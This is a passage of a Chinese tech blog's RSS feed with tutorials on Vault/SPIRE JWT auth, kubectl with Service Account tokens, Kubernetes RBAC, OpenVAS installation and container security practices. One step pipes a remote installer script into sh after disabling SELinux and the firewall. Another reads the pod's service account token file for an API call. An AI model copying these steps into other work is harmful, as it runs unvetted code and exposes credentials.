Unseal Nonce       e1bf3fa2-0058-5703-e2dc-a5c45c1b7f9a
Version            1.3.4
HA Enabled         false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回信息中看到了 &lt;code&gt;Sealed: false&lt;/code&gt; 代表解封成功。&lt;/p&gt;

&lt;h3 id=&#34;启用机密引擎并保存一个测试条目&#34;&gt;启用机密引擎并保存一个测试条目&lt;/h3&gt;

&lt;p&gt;使用 CLI 通过跟用户进行访问，启用 &lt;code&gt;kv&lt;/code&gt; 引擎，然后保存数据。&lt;/p&gt;

&lt;p&gt;首先设置环境变量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export VAULT_ADDR=http://127.0.0.1:8200
# 使用前面记录的 Token：
$ export VAULT_TOKEN=&amp;quot;s.PFuCtYgzjh6mRAfAVjfsGv3O&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启用引擎并保存测试数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault secrets enable -path=secret kv
$ vault kv put secret/my-super-secret test=123
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;设置-spire-和-oidc-的联邦关系&#34;&gt;设置 SPIRE 和 OIDC 的联邦关系&lt;/h2&gt;

&lt;p&gt;启用 Vault 的 JWT 认证：&lt;code&gt;vault auth enable jwt&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;设置 OIDC 发现地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/jwt/config \
oidc_discovery_url=https://oidc-discovery.example.org \
default_role=“dev”
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;设置一个 &lt;code&gt;my-dev-policy&lt;/code&gt; 策略，它将会用在后面创建的&lt;code&gt;dev&lt;/code&gt; 角色上。&lt;/p&gt;

&lt;p&gt;进入源码目录的 &lt;code&gt;./k8s/oidc-vault&lt;/code&gt; 目录，在 &lt;code&gt;vault-policy.hcl&lt;/code&gt; 中定义策略，该策略具有读取 &lt;code&gt;/secret/my-super-secret&lt;/code&gt; 的权限：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;path &amp;quot;secret/my-super-secret&amp;quot; {
   capabilities = [&amp;quot;read&amp;quot;]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后在 Vault 中加载新建的策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault policy write my-dev-policy ./vault/vault-policy.hcl
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建 &lt;code&gt;dev&lt;/code&gt; 角色，绑定 JWT 的 &lt;code&gt;subject&lt;/code&gt; 和 &lt;code&gt;audience&lt;/code&gt;，并配置 &lt;code&gt;sub&lt;/code&gt;，声明这个角色会用于认证。有效期设置为 24 小时，这个 Token 会使用 &lt;code&gt;my-dev-policy&lt;/code&gt; 策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/jwt/role/dev \
    role_type=jwt user_claim=sub \
    bound_audiences=TESTING \
    bound_subject=spiffe://example.org/ns/default/sa/default token_ttl=24h \
    token_policies=my-dev-policy
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;获取-vault-凭据&#34;&gt;获取 Vault 凭据&lt;/h2&gt;

&lt;p&gt;接下来我们来获取用于 Vault 的 Token。这里使用客户端工作负载通过 SPIRE 联邦来获取和进行认证。&lt;/p&gt;

&lt;p&gt;首先获取客户端工作负载的 Pod 名称，例如 &lt;code&gt;client-7c94755d97-mq8dl&lt;/code&gt;。接下来获取客户端的 SVID：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec client-7c94755d97-mq8dl -- /opt/spire/bin/spire-agent api fetch jwt \
   -audience TESTING \
   -socketPath /run/spire/sockets/agent.sock
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从响应消息中获取 JWT 信息。他应该位于相应信息的 SVID 附近（例如 &lt;code&gt;token(spiffe://xxxxx)&lt;/code&gt;）。是一个长字符串。&lt;/p&gt;

&lt;h2 id=&#34;认证&#34;&gt;认证&lt;/h2&gt;

&lt;p&gt;创建一个 &lt;code&gt;payload.json&lt;/code&gt; 文件，包含如下 JSON 内容，将上个步骤中获得的 Token 替换到文件里：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;role&amp;quot;: &amp;quot;dev&amp;quot;,&amp;quot;jwt&amp;quot;: &amp;quot;&amp;lt;PASTE_YOUR_JWT_TOKEN_HERE&amp;gt;&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用这个 Payload 进行认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl --request POST \
    --data @/path/to/payload.json \
    http://localhost:8200/v1/auth/jwt/login

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回信息大概如下格式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
   &amp;quot;request_id&amp;quot;: &amp;quot;78bc2546-8e3f-900e-ac32-ae590870ea67&amp;quot;,
   &amp;quot;lease_id&amp;quot;: &amp;quot;&amp;quot;,
   &amp;quot;renewable&amp;quot;: false,
   &amp;quot;lease_duration&amp;quot;: 0,
   &amp;quot;data&amp;quot;: null,
   &amp;quot;wrap_info&amp;quot;: null,
   &amp;quot;warnings&amp;quot;: null,
   &amp;quot;auth&amp;quot;: {
      &amp;quot;client_token&amp;quot;: &amp;quot;s.lQ3KIYjUnFwCJkUnOKKF8kxn&amp;quot;, # &amp;lt;- 客户端 Token
      &amp;quot;accessor&amp;quot;: &amp;quot;ZdVaNVQDcOL15FNSjyWogwiX&amp;quot;,
      &amp;quot;policies&amp;quot;: [
            &amp;quot;default&amp;quot;,
            &amp;quot;my-dev-policy&amp;quot;  # &amp;lt;- 我们创建的策略
      ],
      &amp;quot;token_policies&amp;quot;: [
            &amp;quot;default&amp;quot;,
            &amp;quot;my-dev-policy&amp;quot;
      ],
      &amp;quot;metadata&amp;quot;: {
            &amp;quot;role&amp;quot;: &amp;quot;dev&amp;quot;
      },
      &amp;quot;lease_duration&amp;quot;: 86400,
      &amp;quot;renewable&amp;quot;: true,
      &amp;quot;entity_id&amp;quot;: &amp;quot;5e467f7c-7270-6e2d-2929-e76b9d2b5b32&amp;quot;,
      &amp;quot;token_type&amp;quot;: &amp;quot;service&amp;quot;,
      &amp;quot;orphan&amp;quot;: true
   }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试访问机密数据&#34;&gt;测试访问机密数据&lt;/h2&gt;

&lt;p&gt;接下来用客户端 Token 访问数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl \
     -H &amp;quot;X-Vault-Token: &amp;lt;PASTE_YOUR_client_token_HERE&amp;gt;&amp;quot; \
     http://127.0.0.1:8200/v1/secret/my-super-secret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;CURL 使用 &lt;code&gt;client_token&lt;/code&gt; 作为凭据，访问 Vault 服务的 REST API。Vault API 会返回下面的 JSON 输出，其中包含我们写入的样本数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
   &amp;quot;request_id&amp;quot;: &amp;quot;1a10d3f7-e3b4-2c05-48c5-94a04f3758bc&amp;quot;,
   &amp;quot;lease_id&amp;quot;: &amp;quot;&amp;quot;,
   &amp;quot;renewable&amp;quot;: false,
   &amp;quot;lease_duration&amp;quot;: 2764800,
   &amp;quot;data&amp;quot;: {
      &amp;quot;test&amp;quot;: &amp;quot;123&amp;quot; # 测试数据
   },
   &amp;quot;wrap_info&amp;quot;: null,
   &amp;quot;warnings&amp;quot;: null,
   &amp;quot;auth&amp;quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>在 kubectl 中使用 Service Account Token</title>
      <link>/post/account-token-for-kubectl/</link>
      <pubDate>Thu, 11 May 2017 23:27:37 +0800</pubDate>
      <guid>/post/account-token-for-kubectl/</guid>
      <description>

&lt;p&gt;在运行基于 K8S 的 CI/CD 过程中，经常有需求在容器中对 Kubernetes 的资源进行操作，其中隐藏的安全问题，目前推荐的最佳实践也就是使用 Service Account 了。而调试账号能力的最好方法，必须是 kubectl 了。下面就讲讲如何利用 kubectl 引用 Servie Account 凭据进行 K8S 操作的方法。&lt;/p&gt;

&lt;p&gt;这里用 default Service Account 为例。&lt;/p&gt;

&lt;h2 id=&#34;假设&#34;&gt;假设&lt;/h2&gt;

&lt;p&gt;目前已经能对目标集群进行操作，文中需要的权限主要就是读取命名空间中的 Secret 和 Service Account。&lt;/p&gt;

&lt;h2 id=&#34;准备配置文件&#34;&gt;准备配置文件&lt;/h2&gt;

&lt;p&gt;新建一个 Yaml 文件，命名请随意，例如 kubectl.yaml。内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority-data: {ca data}
    server: https://{server}
  name: awesome-cluster
users:
- user:
    token: {token}
  name: account
- context:
    cluster: awesome-cluster
    user: account
  name: sa
current-context: sa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的 {ca data} 可以从现有连接凭据中获取。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;{server}&lt;/code&gt;：服务器地址&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;{token}&lt;/code&gt;：将在后面设置&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;获取数据&#34;&gt;获取数据&lt;/h2&gt;

&lt;p&gt;首先查看 Service Account 的 Token 在哪里：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get serviceaccount default -o yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;返回内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ServiceAccount
metadata:
  creationTimestamp: 2017-05-07T10:41:50Z
  name: default
  namespace: default
  resourceVersion: &amp;quot;26&amp;quot;
  selfLink: /api/v1/namespaces/default/serviceaccounts/default
  uid: c715217d-3311-11e7-a4ae-42010a8c0095
secrets:
- name: default-token-7h4bd
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们看到他包含了 secret: &amp;ldquo;default-token-7h4bd&amp;rdquo;，获取其中的内容：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get secret default-token-7h4bd -o yaml&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  ca.crt: [ca data]
  namespace: ZGVmYXVsdA==
  token: [token data]
  kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: c715217d-3311-11e7-a4ae-42010a8c0095
  creationTimestamp: 2017-05-07T10:41:50Z
  name: default-token-7h4bd
  namespace: default
  resourceVersion: &amp;quot;24&amp;quot;
  selfLink: /api/v1/namespaces/default/secrets/default-token-7h4bd
  uid: c71cc72d-3311-11e7-a4ae-42010a8c0095
type: kubernetes.io/service-account-token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面 Token Data 内容就是我们需要的认证 Token 了&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;export my_token=&amp;quot;[tokendata]&amp;quot;
kubectl --kubeconfig=kubectl.yaml \
config set-credentials account \
--token=`echo ${tokendata} | base64 -D`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就把 Service Account 的 Token 取出来，并保存在 kubectl.yaml 中。利用这一配置文件就可以凭 Service Account 的身份来执行 kubectl 指令了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的 RBAC 支持</title>
      <link>/post/rbac-in-kubernetes/</link>
      <pubDate>Sun, 09 Apr 2017 08:29:17 +0800</pubDate>
      <guid>/post/rbac-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2017/04/rbac-support-in-kubernetes&#34; target=&#34;_blank&#34;&gt;RBAC Support in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;rbac-vs-abac&#34;&gt;RBAC vs ABAC&lt;/h2&gt;

&lt;p&gt;目前 Kubernetes 中有一系列的&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/&#34; target=&#34;_blank&#34;&gt;鉴权机制&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;鉴权的作用是，决定一个用户是否有权使用 Kubernetes API 做某些事情。它除了会影响 kubectl 等组件之外，还会对一些运行在集群内部并对集群进行操作的软件产生作用，例如使用了 Kubernetes 插件的 Jenkins，或者是利用 Kubernetes API 进行软件部署的 Helm。ABAC 和 RBAC 都能够对访问策略进行配置。&lt;/p&gt;

&lt;p&gt;ABAC（Attribute Based Access Control）本来是不错的概念，但是在 Kubernetes 中的实现比较难于管理和理解（怪我咯），而且需要对 Master 所在节点的 SSH 和文件系统权限，而且要使得对授权的变更成功生效，还需要重新启动 API Server。&lt;/p&gt;

&lt;p&gt;而 RBAC 的授权策略可以利用 kubectl 或者 Kubernetes API 直接进行配置。RBAC 可以授权给用户，让用户有权进行授权管理，这样就可以无需接触节点，直接进行授权管理。RBAC 在 Kubernetes 中被映射为 API 资源和操作。&lt;/p&gt;

&lt;p&gt;因为 Kubernetes 社区的投入和偏好，相对于 ABAC 而言，RBAC 是更好的选择。&lt;/p&gt;

&lt;h2 id=&#34;基础概念&#34;&gt;基础概念&lt;/h2&gt;

&lt;p&gt;需要理解 RBAC 一些基础的概念和思路，RBAC 是让用户能够访问 Kubernetes API 资源的授权方式。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rbac-1.png&#34; alt=&#34;rbac 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 RBAC 中定义了两个对象，用于描述在用户和资源之间的连接权限。&lt;/p&gt;

&lt;h3 id=&#34;角色&#34;&gt;角色&lt;/h3&gt;

&lt;p&gt;角色是一系列的权限的集合，例如一个角色可以包含读取 Pod 的权限和列出 Pod 的权限， ClusterRole 跟 Role 类似，但是可以在集群中到处使用（ Role 是 namespace 一级的）。&lt;/p&gt;

&lt;h3 id=&#34;角色绑定&#34;&gt;角色绑定&lt;/h3&gt;

&lt;p&gt;RoleBinding 把角色映射到用户，从而让这些用户继承角色在 namespace 中的权限。ClusterRoleBinding 让用户继承 ClusterRole 在整个集群中的权限。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rbac-2.png&#34; alt=&#34;rbac 2&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#rolebinding-and-clusterrolebinding&#34; target=&#34;_blank&#34;&gt;关于 RoleBinding 和 ClusterRoleBinding&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;kubernetes-中的-rbac&#34;&gt;Kubernetes 中的 RBAC&lt;/h2&gt;

&lt;p&gt;RBAC 现在被 Kubernetes 深度集成，并使用他给系统组件进行授权。系统角色 (System Roles) 一般具有前缀&lt;code&gt;system:&lt;/code&gt;，很容易识别：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;➜  kubectl get clusterroles --namespace=kube-system
NAME                    KIND
admin                   ClusterRole.v1beta1.rbac.authorization.k8s.io
cluster-admin           ClusterRole.v1beta1.rbac.authorization.k8s.io
edit                    ClusterRole.v1beta1.rbac.authorization.k8s.io
kubelet-api-admin       ClusterRole.v1beta1.rbac.authorization.k8s.io
system:auth-delegator   ClusterRole.v1beta1.rbac.authorization.k8s.io
system:basic-user       ClusterRole.v1beta1.rbac.authorization.k8s.io
system:controller:attachdetach-controller ClusterRole.v1beta1.rbac.authorization.k8s.io
system:controller:certificate-controller ClusterRole.v1beta1.rbac.authorization.k8s.io
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;RBAC 系统角色已经完成足够的覆盖，让集群可以完全在 RBAC 的管理下运行。&lt;/p&gt;

&lt;p&gt;在 ABAC 到 RBAC 进行迁移的过程中，有些在 ABAC 集群中缺省开放的权限，在 RBAC 中会被视为不必要的授权，会对其进行降级。这种情况会影响到使用 Service Account 的负载。ABAC 配置中，从 Pod 中发出的请求会使用 Pod Token，API Server 会为其授予较高权限。例如下面的命令在 APAC 集群中会返回 JSON 结果，而在 RBAC 的情况下则会返回错误。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;➜  kubectl run nginx --image=nginx:latest
➜  kubectl exec -it $(kubectl get pods -o jsonpath=&#39;{.items[0].metadata.name}&#39;) bash
➜  apt-get update &amp;amp;&amp;amp; apt-get install -y curl
➜  curl -ik \
-H &amp;quot;Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)&amp;quot; \
https://kubernetes/api/v1/namespaces/default/pods
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#upgrading-from-15&#34; target=&#34;_blank&#34;&gt;降级过程的说明&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所有在 Kubernetes 集群中运行的应用，一旦和 API Server 进行通信，都会有可能受到迁移的影响。&lt;/p&gt;

&lt;p&gt;要平滑的从 ABAC 升级到 RBAC，在创建 1.6 集群的时候，可以同时启用 ABAC 和 RBAC。当他们同时启用的时候，对一个资源的权限请求，在任何一方获得放行都会获得批准。然而在这种配置下的权限太过粗放，很可能无法在单纯的 RBAC 环境下工作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/#parallel-authorizers&#34; target=&#34;_blank&#34;&gt;RBAC 和 ABAC 同时运行&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在 Google Cloud Next 上的两次讲话提到了 Kubernetes 1.6 中的 RBAC。要获得更详细的信息，请阅读 RBAC 文档。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;https://www.youtube.com/watch?v=Cd4JU7qzYbE#t=8m01s&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://www.youtube.com/watch?v=18P7cFc6nTU#t=41m06s&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://kubernetes.io/docs/admin/authorization/rbac/&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>OpenVAS 的简单安装和使用</title>
      <link>/post/openvas-basic/</link>
      <pubDate>Fri, 17 Mar 2017 09:51:34 +0800</pubDate>
      <guid>/post/openvas-basic/</guid>
      <description>

&lt;p&gt;OpenVAS 是一个开源的漏洞评估系统。&lt;/p&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;这里用 CentOS 7 Minimal 版本开始安装&lt;/li&gt;
&lt;li&gt;开始之前，首先关闭 Selinux 和 firewalld，以免造成一些不必要的干扰，安装完成后可以酌情开启。&lt;/li&gt;
&lt;li&gt;考虑到一些特殊的网络状况，可能需要&lt;strong&gt;设置代理服务器&lt;/strong&gt;，注意后面的安装可能用到 RSYNC，所以设置代理的时候也要加上：&lt;code&gt;RSYNC_PROXY=10.211.55.2:8016&lt;/code&gt; 诸如此类的语句。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后是一些必要的工具准备：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yum install -y bzip2 wget net-tools&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;安装过程需要借助第三方源进行，简单的一个命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;wget -q -O - http://www.atomicorp.com/installers/atomic | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意代理服务器&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来就是：&lt;code&gt;yum install openvas&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;安装过程稍嫌繁琐，包括设置密码，监听地址等内容。最后还需要进行数据更新，时间可能较长。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;选择下载工具的一步：curl/wget/rsync 三选一，这里尽可能选择 rsync，因为 curl 和 wget 都只下载 nvt 数据，而其余无法下载的数据在后面还是需要的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;检查&#34;&gt;检查&lt;/h2&gt;

&lt;p&gt;安装结束之后会启动几个服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;redis：数据库&lt;/li&gt;
&lt;li&gt;openvas-manager：调度服务&lt;/li&gt;
&lt;li&gt;openvas-scanner：扫描服务&lt;/li&gt;
&lt;li&gt;gsad：前端&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外，OpenVas 还提供了安装检查工具&lt;code&gt;openvas-check-setup&lt;/code&gt;，该工具运行过程中将会检查安装情况以及数据完整性，并给出相应的操作、补救建议。&lt;/p&gt;

&lt;p&gt;一切就绪后，可以打开缺省端口 9392 尝试使用了，例如&lt;code&gt;https://openvas:9392&lt;/code&gt;，打开后是个丑陋的登录页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-login.png&#34; alt=&#34;login&#34; /&gt;&lt;/p&gt;

&lt;p&gt;输入用户名密码之后，就进入系统的首页了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-first.png&#34; alt=&#34;landing&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;任务和运行&#34;&gt;任务和运行&lt;/h2&gt;

&lt;h3 id=&#34;新建一个任务&#34;&gt;新建一个任务&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-new-task.png&#34; alt=&#34;task&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Host：被扫描检测的主机，主机列表可以在主菜单的 Asset Management 下级 Host 中找到。&lt;/li&gt;
&lt;li&gt;Scan Config：扫描的配置，可以在 Configuration -&amp;gt; Scan Config 中找到。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;运行&#34;&gt;运行&lt;/h3&gt;

&lt;p&gt;在 Scan Management 中可以看到任务列表，点击右侧的播放按钮即启动运行
运行时间随扫描目标、服务器性能、以及扫描配置影响，可能会很长。
最终生成的报告：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gsad-report.png&#34; alt=&#34;report&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;openvas-cli&#34;&gt;openvas-cli&lt;/h2&gt;

&lt;p&gt;前面提到，这个扫描过程可能很长，另外，为了配合我们的每日构建或者其他的周期性检查，可以使用 openvas 的命令行工具来进行任务的控制。&lt;/p&gt;

&lt;p&gt;下面举几个典型的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -T # 获取系统中保存的主机，会列出名字和 UUID
omp -g # 获取系统中现有的扫描配置，会列出名字和 UUID
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -w admin -u admin \
  -C -n autotask -t b493b7a8-7489-11df-a3ec-002264764cea \
  -c daba56c8-73ec-11df-a475-002264764cea

# 上面的命令创建了一个任务，名字叫 autotask，
# 目标主机的 ID 为 b493b7a8-7489-11df-a3ec-002264764cea，
# 扫描配置的 ID 为 daba56c8-73ec-11df-a475-002264764cea
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;omp -G # 列出 Task 的名字和 UUID
omp -M 22bc21be-3eeb-4d43-9157-07515120c574 # 启动一个任务
omp -G  22bc21be-3eeb-4d43-9157-07515120c574 # 列出该 ID 任务的执行列表（每次任务执行都会有一个新的下一级的 UUID，用于记录执行情况）
omp -R fa7b3c8f-db75-44f6-8821-910f8f4b83e2 # 获取这一次执行的结果报表
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了上述内容，就可以完成漏洞扫描的自动触发，甚至可以根据最终报表，来进行数据分析和告警等后续动作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;openvas-nvt-sync、openvas-certdata-sync、openvas-nvt-sync 三个工具用于更新数据，应定时运行。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 部署安全最佳实践</title>
      <link>/post/best-practice-for-deployment-security-in-kubernetes/</link>
      <pubDate>Tue, 27 Sep 2016 06:56:57 +0800</pubDate>
      <guid>/post/best-practice-for-deployment-security-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment&#34; target=&#34;_blank&#34;&gt;Security Best Practices for Kubernetes Deployment&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文作者是来自 Aqua Security 的  Amir Jerbi 和 Michael Cherny，他们以大量的案例和经验为基础，总结并描述了 Kubernetes 部署中的最佳安全实践。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 提供了很多能够提高应用安全的方法。要进行这些配置，就要掌握 Kubernetes 的相关知识，同时也要清楚的了解安全需求。这里我们关注的安全内容集中在容器的生命周期上：构建、传输以及运行，并且针对 Kubernetes 进行了特别的裁剪。&lt;a href=&#34;http://blog.aquasec.com/running-a-security-service-in-google-cloud-real-world-example&#34; target=&#34;_blank&#34;&gt;我们自己的 SaaS&lt;/a&gt; 就是运行在 Google Cloud Platform 上的 Kubernetes 中，已经采用了这些最佳实践。&lt;/p&gt;

&lt;p&gt;下面是我们对于安全部署 Kubernetes 应用的一些建议。&lt;/p&gt;

&lt;h2 id=&#34;确保镜像无漏洞&#34;&gt;确保镜像无漏洞&lt;/h2&gt;

&lt;p&gt;运行带有漏洞的容器会让你的环境身处险境。只要运行中的系统的所有组件都不存在已知漏洞，就能够避免很多被攻击的机会。&lt;/p&gt;

&lt;h3 id=&#34;安全漏洞的持续扫描&#34;&gt;安全漏洞的持续扫描&lt;/h3&gt;

&lt;p&gt;容器中可能有一些过期组件，这些过期组件往往会包含已知漏洞（CVE）。新的漏洞层出不穷，因此对安全漏洞的扫描工作必须持续进行。&lt;/p&gt;

&lt;h3 id=&#34;适时应用安全更新&#34;&gt;适时应用安全更新&lt;/h3&gt;

&lt;p&gt;一旦在运行的容器中发现了安全漏洞，就该对源镜像进行更新并部署。为了避免破坏镜像和容器的继承性，尽量不要在容器&lt;strong&gt;中&lt;/strong&gt;直接进行更新（例如 &lt;code&gt;apt-update&lt;/code&gt;）。 Kubernetes 的滚动更新功能可以渐进式的为运行中的应用更新镜像，这一功能让应用更新变得简单优雅。&lt;/p&gt;

&lt;h2 id=&#34;只使用可靠的镜像&#34;&gt;只使用可靠的镜像&lt;/h2&gt;

&lt;p&gt;要避免受到有漏洞甚至恶意的容器的威胁，镜像的准入就需要受到有效管理。和随意下载运行软件一样，下载运行不可靠的镜像也是高危行为，必须杜绝。&lt;/p&gt;

&lt;p&gt;使用私库来保存你的镜像，并保证只向其推送可靠镜像。这样就缩小了战场面积，避免大量不确认的公开镜像涌入你的环境。另外建议在持续构建流程中加入漏洞扫描之类的安全环节。&lt;/p&gt;

&lt;p&gt;持续集成管线要控制门槛，只允许使用受确认的代码进行镜像构建。镜像构建成功后，应该进行漏洞扫描，排除问题后才能推入私库，进行下一步的部署。过程中发现问题，应该终端构建过程，阻止安全质量低下的镜像进入私库。&lt;/p&gt;

&lt;p&gt;目前 Kubernetes 正在开发镜像认证插件（将在 1.4 推出），用以阻挡未认证镜像的进入，相关信息请参看 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/27129&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;pull request&lt;/strong&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;限制对-kubernetes-node-的直接访问&#34;&gt;限制对 Kubernetes Node 的直接访问&lt;/h2&gt;

&lt;p&gt;对 Kubernetes Node 的 SSH 访问会降低主机的安全性。应该让用户尽量使用 &lt;code&gt;kubectl exec&lt;/code&gt;，这一命令提供了对容器环境的直接访问，而不需要接触宿主机。&lt;/p&gt;

&lt;p&gt;还可以使用 Kubernetes 的 &lt;a href=&#34;http://kubernetes.io/docs/admin/authorization/&#34; target=&#34;_blank&#34;&gt;Authorization Plugins&lt;/a&gt; 来对用户的资源访问进行进一步控制。这一插件允许定义对命名空间、容器以及操作的基于角色的访问控制。&lt;/p&gt;

&lt;h2 id=&#34;在资源之间建立管理边界&#34;&gt;在资源之间建立管理边界&lt;/h2&gt;

&lt;p&gt;限制用户权限能够降低出错和入侵造成的危害。Kubernetes 命名空间让你可以把资源分割为不同名称的群组之中。一个命名空间中创建的资源对其他命名空间是不可见的。缺省情况下，Kubernetes 用户创建的资源都存在于 default 命名空间中。可以创建其他的命名空间，并把资源和用户绑定上去。可以使用 Kubernetes Authorization 插件来创建策略，让不同用户分别访问各自的命名空间和对应的资源。&lt;/p&gt;

